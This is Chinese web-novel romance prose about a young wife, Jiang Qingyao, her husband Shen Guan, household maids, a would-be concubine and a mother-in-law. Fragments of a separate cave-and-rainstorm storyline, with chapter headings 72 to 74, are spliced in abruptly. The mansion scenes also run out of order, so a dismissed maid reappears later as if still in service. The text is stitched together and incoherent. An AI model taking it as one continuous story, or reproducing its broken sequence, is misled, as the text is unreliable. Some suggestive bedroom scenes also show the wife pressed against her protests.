银烛闭目听着,眼中淌下泪来,打小,从她被选进公子院子里起,她娘就跟她说当姨娘如何好如何好,还教她如何如何勾引公子。 现在坏了事,她娘非但没有半分宽慰,还处处戳她肺管子。银烛气得捶床,咬牙切齿骂道:“够了,别说了!我去死,去死可以了吧!” 银烛说着,就要翻身下床,唬得王嬷嬷心头一跳,忙伸手拦她。 “好好好,娘不说了,不说了。” 正闹着,外头小丫鬟报:“杏子姑娘来了。” 杏子进来,王嬷嬷招呼她坐,便一挑帘子出去了。 “你怎么样?可还好?我这里有几两银子,你拿着以后买些补品吃吃。”杏子从腰间掏出一个荷包,放到银烛枕边。 自杏子进来,银烛就没瞧她一眼,此刻见杏子拿钱给她,以为她是怜悯自己,便冷笑道:“如今我落到这步田地,你心里该笑死了吧。” 杏子一窒,不妨她是如此想自己的,便道:“自你到公子院里,我们便同睡一屋,已经五、六年了,我怎会笑你?我也想买些东西来看你,可你知道的,身为奴婢,哪能自个儿做主,我哪有功夫去买东西?” 银烛听得落泪,撅着嘴硬声硬气道:“我不要你的银子,你拿回去。” 杏子叹气,“拿着吧,日后还不定什么时候才能见着面呢。”又问:“你伤好些了么?” 银烛毕竟是家生子,况且老子娘在府中也吃得开,那些婆子们也不敢下狠手打她。 银烛身上虽然伤得不重,可心上却万分剧痛,她以为自己跟在公子身边这么多年,好歹有些情分,可如今却这样…… 想到伤心处,银烛伏在枕上,小声喊了句:“公子……他、他……”喉间哽咽,泣不成声。 杏子坐在床边小凳上,再叹:“银烛,忘了吧,忘了公子,好好嫁人,好好过日子。” 银烛到底想不通,就算那姜清杳有几分姿色,却怎会得公子如此爱护,便咬牙道:“她怎配得上,怎配得上……” 杏子摇头,知道跟银烛是说不通了。况且有些事,她也不敢说,只自己心里明白便好。 究竟当初落水救人,是怎么一回事,还真不好说。 夜里,沈观又要给姜清杳上药,姜清杳颤颤巍巍拒绝,“我、我好了……” 沈观眸色深沉,攥着她纤细洁白的脚腕往他身前拖,“那让我看看。” 几番挣扎,最后以姜清杳失败告终。她躺在床榻上,被迫撑开腿,咬着锦被嘤嘤哭泣,娇娇颤栗。 “好了没……”姜清杳哼声。 沈观声线暗哑,“快了。” 待姜清杳上好药,她伏在被子里小声啜泣,已经没脸见人了。 沈观哄了又哄,保证明天不帮她上药了,她才堪堪止住哭泣。 “我们成婚几日了?”沈观抱着姜清杳躺在床上,忽然问道。 “十七日。”姜清杳扬起一张小脸,天真地望着他,不明白他为何问这个。 沈观“唔”了一声,便道:“那你欠我十七次,记得日后补上。” 姜清杳一头雾水,什么十七次?补上什么? 可当她一抬眸,望见沈观灼热的凤目,心头忽然开撬,脸上便迅速漫上绯红。 “沈行之,你坏死了!” 转头又去看姜清杳。 小声:“清杳,我这是第一次生火。” 姜清杳眨眨眼。 沈观又说:“生火不是易事。” 姜清杳歪了歪头,纳闷:“是挺难的。且我们没带火折子。又是这样的大雨。” 沈观眼睛亮起来,连连点头。 用眼神催促她。好像在说。 所以,你刚才怎么不夸我? 第 72 章 第 72 章 天色更暗,外面的雨势也更大了,几乎看不清前路。偶有电闪,隐约可以看清一瞬的林中景象。 好在狭小的山洞里,燃着火。火光温暖,柔黄,照亮了沈观的神情。 少年目光灼灼的盯着姜清杳。 姜清杳读懂他神情的一霎,就扑哧笑了出来,捧着脸笑吟吟:“沈观,你真厉害。” 沈观眉头舒展,露出一点被夸了,死而无憾的神情,姜清杳快笑乐出泪花来了,看着少年又专心致志的去拨弄火堆,还跟着一叠声的接着夸—— “沈观你真是太厉害了,无所不能,你是我见过第一个这么聪明的人,好像你没有什么是不会的!” 华阳居里,姜清杳曲膝向李氏行礼,“请母亲安。” 李氏午憩才起身,正坐在太师椅上喝一盅乌鸡养颜汤,见姜清杳问安,也只淡淡应了一声,抬眼见姜清杳眼圈红红的,心中一怔,哟,我家小媳妇被谁欺负了? 李氏不露声色,道:“周姨妈今日设宴,怎么?这么早就散了?” “她们还玩着呢,媳妇身子不适,就先走了。”姜清杳柔声说着,顿了顿,继续道:“三婶和周姨妈想让语舒妹妹给夫君做侍妾,母亲,您看这该如何是好?” 李氏执勺喝汤的手一顿,心中顿时恼怒异常,她们三房的手未免伸得太长了。 姜清杳见李氏面色愠怒,心中稍安,便不再言语,只等着听李氏吩咐。 “这事你怎么看?”李氏放下瓷勺,有心考教姜清杳。 李氏听了,心中颔首,这媳妇儿还算贤良淑德,没有想着霸占她儿子。 “你在三房怎么回话的?”李氏再问。 姜清杳站得累了,虽然李氏没叫她坐,她也自个儿坐到下首位置,端起茶盏喝了一口,才道:“儿媳跟三婶和周姨妈说,我才嫁进来,庶务尚且不熟悉,纳妾之事更做不了夫君的主,这事只能让夫君和婆母点头。” 姜清杳在三房压根没有提让李氏点头的话,这会子这样说,也只是哄着李氏拿出个章程来。 却不想李氏听了半晌,竟又喝起汤来,姜清杳心中一愣,她方才不是还生气恼怒,这会子怎么不说话了? 姜清杳终究年纪轻,耐不住喊了声:“母亲……” 李氏冲姜清杳挥了挥手,淡声道:“你去吧,这是你们小夫妻的事,你们自己拿主意就行。” 一时间,姜清杳傻了眼,自己拿主意?这、是什么意思? 其实李氏想的很简单,她那探花儿子之前为了姜清杳跟她闹到辞官,如今到要看看,一时情动能否长久。反正她最后有法子不让三房的人进门就是了。 姜清杳恹恹回了听竹院,本以为将这事告诉婆母,便能解决,却不料她压根不管。 姜清杳心中烦闷,便让晴天摆砚,她想给李相宜写信。 桃花笺上,落下一行行清秀雅致的字体:自别过后,珠流璧转,思之念之,但愿再聚…… 写完信,想叫小雨送去将军府,但又想到沈延应当在外头没有回来,便搁下作罢。余下半日,姜清杳斜倚在贵妃榻上,望着窗外拂动的绿竹静默不语。 婢女们在屋内来来回回做事,轻手轻脚的,尽量不发出声响打扰到姜清杳。 小雨拉着晴天远远避到长廊尽头小声说话,“你说这三夫人也太没规矩了,竟然将手伸到我们大房来了。” “还有那个语舒,一副柔柔弱弱的样子,谁知道心里打什么鬼主意,才跟着来走亲戚,就看上了亲戚家的表哥,还上赶着来做妾的,呸,她算公子哪门子的表妹!” 晴天见小雨越说越大声,便扯住她的衣袖,小声提醒:“别说了,小姐正难受呢。” 小雨哼了一声,到底将声量压低了些,“要我说,小姐应当将这事直接告诉公子,让公子将那劳什子的姨妈赶出府去!” 晴天心中一惊,忙道:“这话你可别跟小姐说,这会子你看咱们小姐得公子宠爱,往后呢?难道公子往后只守着小姐,一辈子不纳妾了?” “我们小姐天姿仙颜,会跳舞会写字,会下厨会刻章,公子瞎了眼才会喜欢别人!” 晴天赶紧伸手去捂小雨的嘴,要死了,这姑奶奶的嘴迟早要闯祸。 傍晚沈观下值回来,就见姜清杳蜷在贵妃榻上睡着了,他小心翼翼走过去,俯身看她。 她观鬓松松,几缕墨发散在粉泽玉面上,一张樱唇红润饱满诱人采撷。内室烧着地龙,她身上也盖着杳蓉绣花双丝被,但沈观却还是担心她冷着,伸手碰了碰她露在被子外的手,触到掌心温暖,他才放心。 沈观眸色微深,视线锁在姜清杳脸上,但见她黛眉微拢,像是有天大的愁绪,睡梦中也不安心,他的长眉便也跟着微微蹙起。他伸手,皙白长指轻轻抚在姜清杳眉间,试图将她的忧愁抚平。 姜清杳睡得浅,他一动,便醒了。长睫震颤,睁开一双纯澈似冰晶的眸子,姜清杳便看到眼前的沈观,恍惚一瞬,她道:“你回来了。” 沈观见她醒了,收回手去,温声:“我吵醒你了。” 姜清杳撑着身子要坐起,被沈观俯身扶起靠坐到他怀中,“什么时辰了。”姜清杳问。 “刚过酉时。”沈观拥着她,调整姜清杳的坐姿,试图使她感觉舒适。“还早,你若想睡,便再睡会儿。” 姜清杳心中那点困闷,算不得什么,她只是不想三房的人进来做他的妾室,使她束手束脚无法管教。但想了一下午,她便想通,婆母定是不会让三房放人进来的,这会子不管,许是考教她,想让她自己拿出个章程来。 如此一来,姜清杳便放松许多,若能想出法子让三房打消念头自然是好,若想不出也没什么,只她自己不点头就行。 这会子便微微一笑道:“睡了一下午,再睡就要成猪了。” 沈观见她终于展眉笑了,唇角也跟着不自觉上扬,他拥着她,声音低低说着情话,“即使你变成猪,那也是只美丽可爱的小猪。” 姜清杳粲然一笑,露出皓白贝齿,顺着他的话,柔柔道:“那便摆膳吧,小猪刚睡醒,该吃饭了。” 姜清杳千百种样子沈观都爱,但却最爱她笑容灿烂,生机明媚。 姜清杳重新挽了发,坐到里间餐桌前,见桌上放着一坛酒,她诧异向沈观看去,问道:“怎么?哪里来的酒?” 她以为这是别人送了给他的一坛佳酿,却听他道:“上回我们读《浙北游志》,你不是说想尝尝《越中饮酒记》里头的酒,我便让人在越中寻了来,前几日就送来了,但你病着,便没有拿出来。” 他坐在她身边,说话语声温柔,只她随意的一句话,他便记下来,不辞钱财辛苦去为她办到,他这样好,好到她都舍不得将他分享给别人了。 姜清杳眼圈微红,声音有些发哽,“夫君,谢谢你。” 在沈观看来,为她做的这些都是小事,不值当她如此感动,便倾身过来,附在她耳边说,“要谢就拿出点诚意来,今晚、两次……如何?” 姜清杳不妨他在此时竟说这等破坏气氛的话,眼一横,便推他,“你、你走开……没有!” 沈观早知她是如此反应,此刻爽朗一笑,唤婢女去拿玉盏,尔后亲自为她斟酒。 姜清杳俯身去瞧杯中酒,但见酒色微绿,尚且浑浊,凑近闻了闻,酒气清淡,隐约带着一丝甘甜。 姜清杳转头去瞧沈观,墨黑的眸子隐含犹疑,沈观也看了看酒水,然后长指执盏,一双凤目凝着姜清杳,笑道:“且让为夫,来为娘子试试有没有毒。” 姜清杳莞尔,看他喝了一口,便问:“如何?什么味道?” 沈观也是第一次喝这种酒,味道不出奇,顶多算个清香,回味有些甘,算是尚可。 “没毒,夫人自己尝尝。”沈观含笑道。 姜清杳眼波流转,斜睨他一眼,执起杯盏,小小抿了一口,唔……并不如书中描述的美味呢。 看来文人饮酒,讲究时候、气氛、心情,将天地之色、微渺心绪描绘进酒中,那酒便有了特殊韵味。 姜清杳想到书中李晖乘舟南下会友,当时落木萧萧,寒江疏影,寻友不遇,又夜宿舟上,境遇凄潦,当时那壶浊酒,便是抚慰他郁郁心绪的良药,其中滋味,岂是他们身在锦绣堆中品得出来的。 但这酒到底难得,或许在越中只算寻常酒水,如今千里迢迢远道而来京城,就已经超越其自身价值了。更何况只是她一句寻常话,他却能如此为她寻来,因此,姜清杳便饮了好几杯。 夜里,沈观终究没忍住,缠着姜清杳要了两次,但闻她身上花香、女儿香、酒香诱人,他就想再来一次,但终归怕伤着她,只好紧紧拥着她,去亲她的雪靥,又吻她红唇。 翌日半下午,语舒果真就来了听竹院,她带了块玉佩来,捧在手中给姜清杳看,柔声道:“姐姐,我这枚玉佩,总也没想到打什么络子来配,上回见你身上的璎络打得极好,便想请你教我。” 姜清杳面色恬淡,语气温和:“妹妹别急,还是先唤我表嫂吧。”见语舒蓦地红了脸,又道:“璎络我是不会的,都是我房里的婢女打的,你若不介意,便让她们教你?” 语舒咬了咬唇,小声道:“哪里,我岂会介意。” 姜清杳便唤晴天来教她,再移目一看小雨,见她在语舒身后满脸要吃人似的盯着她,姜清杳心中又好笑又怕她口出狂言,便喊她道:“小雨,你去看看梅园里的花谢了没有,没谢的话,剪些回来插瓶。” 小雨听着话,狠狠瞪了语舒后脑勺一眼,也不向姜清杳行礼回话,一甩珠帘就出了内室。 内室里,语舒和晴天在打络子,姜清杳看书,到也还算融洽。 语舒这一呆,便呆到了傍晚时,沈观下值回来,她才受惊似地站起来,柔柔向沈观行礼,“语舒见过七表哥。” 沈观眉峰微锁,目光向姜清杳掠去,见她手执书本看得认真,便移目看向这不知哪里来的什么表妹,声音冷淡应了一个“嗯”字。 语舒见姜清杳不作声,便咬着唇道:“那便不打扰表哥和表嫂了,语舒告辞。” 沈观不作声,往姜清杳身边走去,等语舒出去了,才伸手夺开姜清杳手中书本,问道:“她怎么回事?” 她又有点操心起来小伍他们了:“你说小伍他们有没有找到地方避雨呢,这雨好大呢,快些停吧,我怕来不及赶回抚阳呢。” 她话很密。 沈观一句一句都答了:“应该能,便是没有找到寄住的人家,也能找到山洞的。雨势已经小一点了。” 姜清杳一听,转头去看山洞外面的雨。 却被吓了一跳。 第 73 章 2500营养液加更 少女指着山洞口上方的岩壁,说话都结巴了:“好…好多虫,沈观。” 黑色的小甲虫,往岩壁上的一个小洞里爬。 可能是因为和岩壁的颜色太像了,两人刚才一直没注意,这会儿外面天黑下来,山洞里却有火光照着,因此便显眼起来。 姜清杳冷不丁看见,吓了一跳。连忙环顾四周,见她们周围还算干净,可她不放心,方才还是半抱着沈观的,这会儿一整个人都扒在了沈观身上,一点儿也不挨着地或岩壁。 沈观搂紧她,顺着她的视线看过去,微眯了眯眼,辨认了一下,又看了看外面的大雨。 翌日上午,姜清杳收拾停当,换了身衣裳,便去梅园赏花。 昨日小雨已经去过,姜清杳便点了晴天、杏子、福橘陪着去,留小雨看院子。 自银烛走后,姜清杳便把二等婢女福橘提了上来,她身量不高,一张脸圆乎乎的,真还有点福橘的样子。 姜清杳走在石子小径上,心中忽而好奇,便扭头问身后的福橘,“福橘,你的名字也是公子取的么?” “是啊,当时明堂里摆着一叠福橘,想来,公子便是以此给奴婢取了这个名儿。”福橘回道。 姜清杳听了,嘴角一抽,还真是就地取材,一点不过脑子啊。 谁能想到,在外光风霁月的探花郎,他身边婢女的名字竟然这么……呃……寻常。 沈家六百余年,前人经过不断兼并周边宅院,到如今,沈家已然是五进的大宅子。 这在居大不易、寸土寸金的京城,可谓豪门中的豪门。 而沈家特又在东北角,辟出一片占地约一亩的园子,请来苏州名匠移石造景、辟湖砌桥,园内亭台楼阁、曲水流觞,是京城有名的名园。 即使在如今深冬时节,姜清杳走在园子里,亦是一步一景,假山水榭,目不暇接。可以想见,若是春日里,这园子得美成什么样子。 姜清杳在小径上转过一道弯,登上三级石阶,远远便见前头观蒸霞蔚,空气里满是馥郁的梅香。远望已然令人心生向往,而走到了梅林里面,便又感受到另一种近距离的美。 今日亦是丽日当空,照得老梅树曲斜虬结的影子投映到落满花瓣的地上,一时疏影横斜,梅香芬芳,恍若世外桃源。 姜清杳身上榴红色的裙摆落在铺满了花瓣的地上,她逶迤而行,那花瓣便随她而去。 晴天时不时提起姜清杳裙摆轻轻抖动,那藏在裙裾间的花瓣纷扬飘落,宛若下了一场花瓣雨。 姜清杳虽嫁了人,但到底才十五岁,又因婚后过得舒适,还保留着纯真的玩性。她此时见景色甚美,身旁又是些亲近的婢女,便没忍住旋身而舞,一时裙摆飞扬,舞动得花瓣也跟着四下翻飞。 一时将婢女们看呆了去。晴天还好些,姜清杳会跳舞,她是知道的。 而杏子与福橘,望着时而旋身、时而舒展双腿在空中跨跳的姜清杳,震惊得嘴巴都得合不拢了,她们二人心口砰砰,感觉自己都要爱上这个少夫人了。 说是舞蹈,其实也不过是姜清杳此刻由心而发的几个动作,很快她停下来,站直身子,又做回了沈家的七少夫人。 “你们可别跟人说我跳舞的事。”姜清杳对婢女们告诫道,其实就是让杏子和福橘两个人不要在外乱说。 两人心中明白,忙应声道:“是。” 姜清杳自从不用给婆母晨昏定省后,白日里便多了许多时间,她有时悠哉悠哉看书品茗、有时写字作画、有时绣花裁衣,日子几乎与未嫁时一样。 能过上这样舒心的日子,姜清杳很感激沈观,同时也感激婆母不与他们小夫妻计较。故而,每每自己做了什么吃食,得了什么好东西,便都想着拿一份去孝敬婆母,一来她身为儿媳,孝敬婆母乃应当,二来也算间接请安。 所以现在,姜清杳便又想起李氏了,便问道:“可有带剪刀来。” 晴天与杏子她们三人,非但带了剪刀,还提了茶水吃食来,以备姜清杳渴了饿了。 杏子便道:“带了的。” 姜清杳颔首,“我想剪些枝条送到母亲那里去,你们且留心观察,见着好看的枝条,便告诉我。” 于是,几人便在梅林里穿梭寻找。 忽而听见前方传来女孩子们叽叽喳喳的说话声,姜清杳循着声儿,目光诧异向那方花影扶疏处望去。 杏子道:“想来是家里的姑娘们也在赏梅。” 姜清杳颔首,正想要不要上去跟她们打声招呼,便听到一个声音说:“咱们七嫂生得真好看,当日她嫁过来,七哥挑开她的红盖头的时候,我都惊呆了,以为是仙女下凡了呢。” 这人话落,便又有另一人说:“要是我长成那样,死也值了。” “呸呸呸,尽说些糊涂话。” “也不知道平日里七嫂是如何保养的,她画的眉好好看,眉色不浓不淡正正好,胭脂的颜色也好看,下回咱们去她院子里,跟她讨教一番去。” “我不敢去,我怕七哥。” “你个怂包,七哥白日里在翰林院,又不在家。” 那个被骂怂包的女孩子明显不服,回嘴道:“你难道不怕七哥,上回在园子里,是谁远远瞧见他从小径那头过来,忙不迭地躲开了!” 姜清杳听着小姑子们这些天真的对话,嘴角不禁翘起。 “我瞧着七表哥看起来很和善啊。” 这是周姨妈的女儿,姜清杳心想。 “哎呀,你才来,你不懂,七哥身上有股莫名的威仪,反正我就怕他,怕他有什么丢脸的,你们不怕,等七哥回来了,你们再去听竹院跟七嫂讨教胭脂水粉,我看你们敢不敢去!” 这话说得,把众人都给弄沉默了。 过了片刻,便又有人说:“那你们说七嫂怕不怕咱们七哥?” 姜清杳听着这句,正莞尔,心道她才不怕呢! 但小姑子们却嚯地一声,齐声道:“自然是怕的!” 姜清杳哭笑不得地摸摸鼻尖,在外人面前,她很怕他么? 站了这么好一会儿,姜清杳虽然想继续偷听这些有趣的对话,但碍于有杏子和福橘在,到底不好意思,便使了个眼色,几人轻手轻脚走远了。 姜清杳一边赏花,一边剪梅枝,后又偶然走到梅林里几块随意置放着的椭圆太湖石边,于是晴天便在石头上铺开随身带着的织锦莲花毯,请姜清杳坐下休息,杏子和福橘又沏茶,摆开食盒,请姜清杳食用。 姜清杳喝了两杯茶,吃了几块点心,想到她们三人也跟着自己出来了这么久,必定也渴了饿了,便道:“你们也累了,快过来坐下休息休息,顺道把这些茶点分吃了,以免大老远再带回去。” 杏子和福橘自然不敢,沈家规矩森严,主子便是主子,她们身为奴婢,是不敢越雷池半步的。 晴天是姜清杳从娘家带来的,便放松些,最主要的是,晴天知道姜清杳是没心的,说怎样就是怎样,没有那么多主仆间的试探。 于是晴天便上前谢过,自己斟了茶,又拿了爱吃的荷花酥,坐到姜清杳下首位置的太湖石上吃起来。 “你们俩快来啊。”姜清杳冲杏子和福橘招手。 杏子和福橘两眼一对,终究也照着晴天的样子,谢过后拿了东西,坐到石上慢慢吃着。一时间主仆融洽。 几人休息好了,姜清杳便亲自抱着剪下来的梅枝往华阳居去。 却不想李氏出门赴宴去了,孙嬷嬷笑容满面的接过姜清杳怀中的梅枝,笑道:“少夫人有心了,等夫人回来看到这梅花,必定欢喜。” 姜清杳自谦,孙嬷嬷又夸一阵,两人说话像踢皮球似的你来我往了几回。姜清杳便问:“明日母亲可是去参加震威将军府上的喜宴?” “是呢,将军府早几日便送了帖子来。”孙嬷嬷笑着回道,虽有心想问少夫人怎么突然提到这茬,但主子没说,她是不能问的。 姜清杳只“嗯。”了一声,又让孙嬷嬷向婆母转答她的问安,便折身回听竹院。 她早猜到婆母没有被请去给李姐姐戴凤冠,跟孙嬷嬷问那么一嘴,就是确认而已。 时下女子及笈、成婚,都要请全福夫人插簪戴冠,李氏出身名门,嫁的也是世家望族,还教养出来一个探花郎,上头公婆父母俱在,按道理是上好的全福夫人。 可偏偏她的嫡长子死于非命,又是那样一个惊才绝艳的人。姜清杳叹息,不知道婆母是怎样熬过来的。想到此,姜清杳便觉得自己应当要多多孝敬她才是。 正想着这些有的没的,不妨一抬头,就瞧见银烛的娘王嬷嬷迎面走来,王嬷嬷也远远瞧见了姜清杳,她先是身子一怔,明显别扭停下脚步,立身垂首,在姜清杳走过她身边时,喊了声:“少夫人。” 听声音,多少有些怨气,姜清杳只当不知,轻轻“嗯”了一声,便走了过去。 虽然银烛走了,但她老子娘还在府中当值,姜清杳虽然见了王嬷嬷心里有些疙瘩,但王嬷嬷是李氏的人,她是拿她没办法的。 夜里沈观回来,用过晚膳,沐浴过后,松松穿一袭宽大道袍,半卧在贵妃塌上问姜清杳今日在家做了什么。 姜清杳只说到梅园去逛了逛,便按捺不住跟他说:“明日我想去李姐姐府上给她送嫁,可母亲是去将军府参加婚宴。” 她说着,一双明眸便落在沈观身上,一副要他想办法的样子。 在沈观看来,他母亲参加婚宴,姜清杳去送嫁,各走各的就行,哪里算个什么事了。 但他想要姜清杳像上次那样娇滴滴地求他,于是便蹙眉深思,“唔”了一声,就沉默不语了。 姜清杳见他一副为难的样子,便走过来坐到他身边,小声问:“怎么?很为难么?我想着你明日去上值时先送我去李家,然后你再去翰林院。” 其实姜清杳还想让他在自己办好事后,再到李府去接她回家,可现在让他送,他都不愿意了,便不敢再提接的事了。 沈观状若为难的沉思着,缓了半晌,才道:“翰林院和李家不同路,我先送你去,恐怕就耽误点卯了。” “那我们早些起床。”姜清杳认真道。 沈观心中早已笑开,怕自己憋不住,握拳在嘴边轻咳了一下,而后道:“这天寒地冻的,早上天没亮就要起床了,你起得来么?” “起得来!”姜清杳提高音量保证道,一张莹润润的小脸都鼓了起来。 沈观瞧她这模样,实在憋不住,噗嗤一下笑出声来。姜清杳一愣,旋即明白他逗自己玩儿,一时间又羞又恼,扭过身子,不理他了。 沈观见把她惹急了,忙倾身拥住她道歉,“夫人,我错了……”虽嘴上说着错了,可那唇角的笑意却收不住。 姜清杳哼声,又把身子扭开,“你总是说这也错了那也错了,下次依旧照样惹我生气。” 她说着,忽的想到上回叫他送信,他也左右不肯答应,弄得她求了又求,还被他欺负得嘴唇都肿了。 此时桩桩件件的事添在一起,姜清杳忽的红了眼圈。 “你是男子,当然想去哪就去哪,想做什么便做什么?可我就这么一个朋友,叫你帮我送信,叫你送我,你竟逗着我玩,我很认真很在乎这件事的好么!” 沈观从背后拥着她,看不见她湿红了的眼眶,此刻听见她说话带着哭腔,才知道自己玩大了,又后悔起来。 他将姜清杳转过身来面对自己,忙不迭补救:“杳儿,我错了、真错了,你别哭了,你要我做什么,我便做什么好不好?” 姜清杳吸了吸透红的小鼻子,哼了一声,才道:“那你明早送我去李府,等我这边好了后,你还要来接我回家。” 沈观连忙答应,“好,都听你的。”说着,便迫不及待将娇娇爱妻拥进怀中。 姜清杳伏在他肩上,无声勾了勾唇角。 生气确实是生气,哭也是真哭,但不妨碍她趁机达成目的…… 沈观看着火堆,噼里啪啦的摇曳,缓缓道:“清杳,我不想也不能在这里冒犯你。” 这实在不是一个好地方。 沈观蹙眉看了一眼周围。格外执拗又漠然的想,无媒无聘的人才会天为被地为床。 他和清杳是拜过天地的夫妻。以后也是要结发一同入棺的。要生生世世一辈子。 姜清杳没想到是这个回答。 有些心虚的不敢看沈观,她…她还以为平时可以压着她半夜才让她睡觉,她哭也没用的大变态沈观不会管那么多呢…… 呜呜呜。 是她美人之心度伪君子之腹了。 第 74 章 第 74 章 姜清杳心虚的样子格外明显,总是低着眼,手绞着衣角。 沈观眯了眯眼,瞧着有些危险,一针见血就问:“清杳以为我是什么人?” 姜清杳顾左右而言他,四处张望:“咦,好像这里真是没有什么虫呢,有火堆就是好,哈哈哈。” 少女尴尬笑了两声。 在沈观似笑非笑的注视下,慢慢消了声音,揪着手,喊:“我饿了!” 沈观愣了一下。 果然没再纠结刚才的事了,微蹙起眉来,有些愁绪。 姜清杳轻轻挪开沈观揽在她腰间的手,咬唇缓缓从被子里钻了出来。 内室里烧着地龙,并不冷,但姜清杳还是小小地打了个喷嚏,这声响,吓得她连忙捂住嘴。 好在沈观还安然睡着,可他身高腿长的挡在外侧,姜清杳一时犯了难。 就着昏暗的烛火,姜清杳略一思索,想小心地爬过去,手脚才跨过男人一半的身体,沈观就醒了。 他唔地一声,半撑起身体,“你怎么起来了?”声音里带着几分朦胧的慵懒。 姜清杳一惊,半悬在他身体上方的身子,猛的掉到他腹上,引发他一声浅嘶。 “抱歉、抱歉……”姜清杳双手撑着他的胸膛,一边红着脸道歉,一边手忙脚乱爬到外侧。 却被沈观捞进怀中,“怎么了?” 姜清杳怕弄脏了被褥,忙推他,一面红着脸道:“……我来癸水了。” 沈观顿时了然,先起身下了床,帮姜清杳套上绣鞋,而后俯身,长臂穿过姜清杳的腿弯,将她打横抱起,走向浴室。 “我抱你去。” 姜清杳慌了,怕脏污沾到他身上,连声说,“放我下来……” 沈观却不管不顾,径直抱着姜清杳进了浴室。 洗浴室里,整夜燃着两盏灯,沈观把姜清杳放下后,又去点燃好几盏,使得室内骤然亮堂起来。 这忽然亮起的灯光,倏忽照亮姜清杳身上薄透的寝衣。 姜清杳起初还不知道,只是站在地上夹紧双腿,无措地唤着自己婢女的名字,“小雨,小雨。” 听见外头的答应声,姜清杳松了一口气,再抬眸时,就望见沈观一双凤目,幽暗中蹿着火苗。 姜清杳后知后觉,一低头,便瞧见自己这一身,轰的一下,脸颊红透。 沈观眸光幽深幽深的,几息后,果断转身,出了浴室。 几乎落荒而逃。 姜清杳望着他离去的背影,紧缩的肩膀终于卸了力,好在这时小雨及时掀帘进来了。 再出来时,姜清杳已经换了身寻常寝衣,但看到靠坐在床头的沈观时,依旧羞赧不已。 自己这点小心思,终究在他面前袒露无疑。 沈观见姜清杳出来,起身,长腿迈到她身边,又俯身抱她上床,面色平和,已经恢复如常。 姜清杳心中惴惴,垂眸望着胸前他们交叠在一起的墨发,咬唇,小声道:“妾身不能服侍夫君,你、去别处睡吧。” 说完这句,便心中坠痛,她很清楚自己这句话意味着什么。 癸水自古被视为不详,按规矩,来癸水的时候,是不能和夫君同榻而眠的。 姜清杳知道,他院子里的婢女,银烛是内定的侍妾。此时这一句话,已经明摆着是把他推向别的女子。 沈观沉默着将姜清杳放到床上,给她盖上被褥,又细细替她拢好肩头,不让一丝风灌进来。 在姜清杳惴惴不安的心痛中,沈观冷着脸,训道:“胡说,这天寒地冻的,你让我去哪里睡!” 忽的,姜清杳就红了眼,等沈观躺下,她主动卧进他怀中,一滴泪,晕在他寝衣上。 沈观叹息着,双手捧起埋在自己胸前的小脑袋,见她一双鹿眸红润润的蓄着水雾,连鼻尖也是透红的。 他倾身,怜惜吻去她眼角的泪,呢喃道:“怎么哭了?成婚之前我没有通房的。” 姜清杳哽咽地嗯一声,好像自己真的矫情了,但这样好的他,自己又哪里舍得与别人分享。 沈观看她面色有些苍白,便认真问道:“方才你怎的醒了?来癸水是会疼的吗?” 姜清杳之前也不会这样痛,想来是因着成婚累到了。 “只这次有些痛。”姜清杳窝在他怀里,嗡声嗡气回道。 沈观甚是关切,当即就要请住在府中的大夫来把脉,被姜清杳一把拽住。 这大半夜的兴师动众,明日她还怎么见人,况且这种事,哪能立时就不疼了。 姜清杳抿唇,拿过沈观的手,放到小腹上,“帮我揉揉就好了。” 大掌贴着肌肤,男子炙热的体温透过手心传至腹腔,熨贴着冷沉的疼痛。 不知不觉,姜清杳缓缓睡去,而那只大掌,却还在轻轻揉着。 翌日,姜清杳醒来时,晨光已然微明。 三天婚假已过,沈观换了常服,要往翰林院上值。 姜清杳赶忙掀被起身,深愧自己没有做到一个妻子的职责。 沈观正要走,余光瞥见姜清杳下了床,脚下一转,几步走到她身前,大手握住她的双肩,眸光清浅,“怎么醒了?小腹可还疼?” 听着他的关心,姜清杳愈发愧疚,“都怪我睡沉了,没起来替你更衣。” 沈观身着青色鹭鸶补子常服,素银革带勒在腰间,墨发束在乌纱帽中,整个人庄重又清贵。 “我故意不让她们叫醒你的,你身子不适,该多休息才是。母亲那边,你也别去了,我让人去说了。”沈观轩轩眉宇间,尽是关切。 “还有,一会儿让薛大夫来给你拿个脉,开两副药调养一下。” 姜清杳听着他絮絮的说话声,心中暖融融的,不禁抬手环住他的腰,小心靠在他胸前,喃喃答应。 沈观唇角微弯,垂眸望着她羊脂白玉般的花靥,忍不住在她粉颊上亲了一下,柔声:“乖,再去睡一会儿,我今日早些回来陪你。” 姜清杳轻声答应,但等沈观走后,她终究没有再睡。 一来昨夜在他的照料下,自己已然好了许多。再者,她还要去侍奉婆母。 他已经够好了,不能仗着他的疼惜,而不尽本分。 用了早膳,又让薛大夫把了脉,药是等不及煎了,只能等午时回来再喝。 一切收拾停当,姜清杳匆匆带着婢女银烛和晴天往沈夫人的院子里赶去。 嫁过来时,姜家比对着沈观的婢女,给姜清杳送嫁了四个贴身服侍的丫鬟,另有六个小丫头照料杂事。 她的一等丫鬟是晴天和小雨,而沈观的一等丫鬟是银烛和杏子。 嫁来的第一天,嬷嬷介绍院子里的丫鬟仆从时,姜清杳便留了心。 其余婢女都是如杏子这样的寻常名字,只有银烛,名字清雅,生得也水灵,一看就与众不同。 姜清杳侧眸,见银烛今日穿着桃粉短袄,下身一条豆绿儒裙,髻上斜插一支嵌宝石的银簪子,与她身旁素净打扮的晴天截然不同。 这是个心气儿高的丫头。 说来,这银烛是沈家的家生子,其父在外院当掌事管家,其母是沈夫人身边有头脸的嬷嬷。 姜清杳心中酸涩,拢了拢大氅,敛目静静往前走。 她告诫自己,男子纳妾乃寻常,更何况是沈家这样的门庭。 穿廊过院,即使深冬寒月,沈家院子里也摆满奇花异草,那是从暖房移出来的,冻坏了,自有花匠更换,这便是世家的贵而不显之处。 走了约一刻钟,才到沈夫人李氏的华阳居。 姜清杳进去时,李氏已经在用早膳了,她年过不惑,却保养得极好,今日身着一身茄紫色绣牡丹纹褙子。 见姜清杳进来,挑眉扫她一眼,也不说话,仍旧翘着小指,慢条斯理地舀着碗中的羹汤。 “母亲,儿媳来迟了。”姜清杳垂眸,恭谨行礼。 “无妨,方才沈观已命人来知会过了,你身子不适,应当好生养着才是。” 李氏端坐上首位置,身旁婢妇环绕,嘴上虽说着好听话,可那神情,分明是傲慢与责备。 姜清杳知她瞧不上自己,毕竟世家几百年底蕴培养出来的探花郎,却娶了她这样出身微薄的女子,她心中气恼,也是应当。 “媳妇身子无碍。”姜清杳再行一礼,然后步到沈夫人身旁,接过嬷嬷手中的筷子,立在一边伺候布膳。 